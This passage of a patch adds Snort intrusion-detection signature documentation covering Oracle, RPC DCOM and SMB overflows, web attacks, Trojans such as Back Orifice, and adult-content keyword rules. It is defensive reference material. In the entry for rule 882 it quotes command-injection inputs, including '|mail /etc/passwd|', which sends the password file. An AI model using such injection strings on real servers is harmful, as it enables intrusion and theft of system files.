+This rule looks for a response from a webserver containing "BDSM".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2645.txt
+++ snort-2.8.5.2/doc/signatures/2645.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2645
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "instantiate_offline" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck630.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3257.txt
+++ snort-2.8.5.2/doc/signatures/3257.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3257
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1084.txt
+++ snort-2.8.5.2/doc/signatures/1084.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1084
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3440.txt
+++ snort-2.8.5.2/doc/signatures/3440.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3440
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/391.txt
+++ snort-2.8.5.2/doc/signatures/391.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+391
+
+--
+
+Summary:
+This event is generated when an ICMP Alternate Host Address datagram is detected on the network with an invalid ICMP code.  This ICMP Type is not documented in an RFC, but may be implemented by routing equipment to direct hosts to the correct IP address of neighboring hosts.
+
+--
+
+Impact:
+This ICMP Type is not implemented in most standard operating systems and is a potential indication of information gathering activities.
+
+--
+
+Detailed Information:
+ICMP Type 6 (Alternate Host Address)  is not defined in an RFC and should not be considered legitimate network traffic.  
+
+--
+
+Attack Scenarios:
+Attackers may use this ICMP Type to gather information about the network.
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Alternate Host Address datagrams with invalid ICMP codes.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 6 datagrams should be blocked at the firewall.
+
+--
+
+Contributors:
+Original Rule wirter unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/882.txt
+++ snort-2.8.5.2/doc/signatures/882.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+882
+
+--
+Summary: 
+This event is generated when an attempt is made to access a web 
+application that may lead to exploitation of the application.
+
+--
+Impact: 
+Potentially harmful execution of binaries through perl open()
+
+--
+Detailed Information: 
+An open source calendar perl script by Matt Kruse, Allows commands to be executed without input verification using the perl open() function. ie /cgi-bin/calendar_admin.pl place the string "|ping 127.0.0.1|" in the configuration file field, this executes the command "ping 127.0.0.1" 
+
+--
+Affected Systems:
+Any web server running the application.
+
+--
+Attack Scenarios: 
+An unauthenticated user can execute arbitrary programs on the server by accessing calendar_admin.pl and inputting commands such as "|mail /etc/passwd|" into the configuration file field.
+
+--
+Ease of Attack: 
+Simple. No exploit software required.
+
+--
+False Positives: 
+If your webserver has pages by the name of calendar* this rule will
+fire often. Many sites now use calendar applications and this rule may 
+generate a large number of false positives, it does not distinguish 
+between perl cgi applications and php scripts. Consider tuning this rule
+for your site if it is generating a large number of false positives. If 
+you use a calendar application, consider changing the name of the script
+to something other than "calendar".
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action: 
+Download a newer version of the cgi 
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Snort documentation contributed by Aaron Navratil (Initial Research)
+Snort documentation contributed by Josh Gray (Edits)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0432
+
+Bugtraq:
+http://online.securityfocus.com/bid/1215
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3142.txt
+++ snort-2.8.5.2/doc/signatures/3142.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3142
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1782.txt
+++ snort-2.8.5.2/doc/signatures/1782.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+
+1782
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "nipple clamp".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "nipple clamp".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/848.txt
+++ snort-2.8.5.2/doc/signatures/848.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+848
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2717.txt
+++ snort-2.8.5.2/doc/signatures/2717.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2717
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure differences
+. This procedure is included in
+dbms_rectifier_diff.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2569.txt
+++ snort-2.8.5.2/doc/signatures/2569.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+2569
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2819.txt
+++ snort-2.8.5.2/doc/signatures/2819.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2819
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_column_group_from_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/213.txt
+++ snort-2.8.5.2/doc/signatures/213.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+213
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "wh00t!".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Linux operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3159.txt
+++ snort-2.8.5.2/doc/signatures/3159.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3159
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1947.txt
+++ snort-2.8.5.2/doc/signatures/1947.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1947
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/153.txt
+++ snort-2.8.5.2/doc/signatures/153.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+153
+
+--
+Summary:
+Donald Dick is a Trojan Horse allowing the attacker to access various 
+resources on the victim host. This event is generated when the attackers
+client connects to the Trojan server.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows NT
+
+The Trojan changes system registry settings to add the Donald Dick 
+server to programs normally started on boot. Due to the nature of this 
+Trojan it is unlikely that the attacker's client IP address has been 
+spoofed.
+
+The default name of the server application is vmldir.vxd.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\VxD\
+
+Registry keys added:
+
+	VMLDR
+
+This contains the key StaticVxD = "vmldir.vxd"
+
+Delete the registry key VMLDR.
+
+Delete the Troajn application vmldir.vxd.
+
+A reboot of the infected machine is needed.
+
+--
+Contributors:
+Original rule written by unknown persons.
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Hackfix
+http://www.hackfix.org/miscfix/dd.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1130.txt
+++ snort-2.8.5.2/doc/signatures/1130.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1130
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000578.txt
+++ snort-2.8.5.2/doc/signatures/100000578.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000578
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_search.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_search.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/112.txt
+++ snort-2.8.5.2/doc/signatures/112.txt
@@ -0,0 +1,104 @@
+Rule:
+Backdoor.BackOrifice
+
+--
+Sid:
+112, 116
+
+--
+Summary:
+Backdoor.BackOrifice is a Trojan Horse.
+
+Server Port: 31337 although in later versions this port can be changed
+to a value between 1 and 65535
+Protocol: UDP although in later versions TCP can also be used
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+
+The Trojan changes system registry settings to add the BackOrifice sever
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+The default name of the server application is UMGR32, which can be
+changed on first use. The new application may be installed in the system
+or system32 direcory and the original may also be deleted.
+
+Event messages relating to activity from this Trojan are:
+
+	SID	Message
+	---	-------
+	112	BackOrifice access (outgoing TCP connection)
+	116	BackOrifice access (incoming UDP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry keys added may vary, look for spurious entries in the above
+locations.
+
+BackOrifice may hide the process from viewing inthe Windows task
+manager. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS399
+
+Symantec Security Response
+http://www.symantec.com/avcenter/venc/data/back.orifice2000.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1709.txt
+++ snort-2.8.5.2/doc/signatures/1709.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1709
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
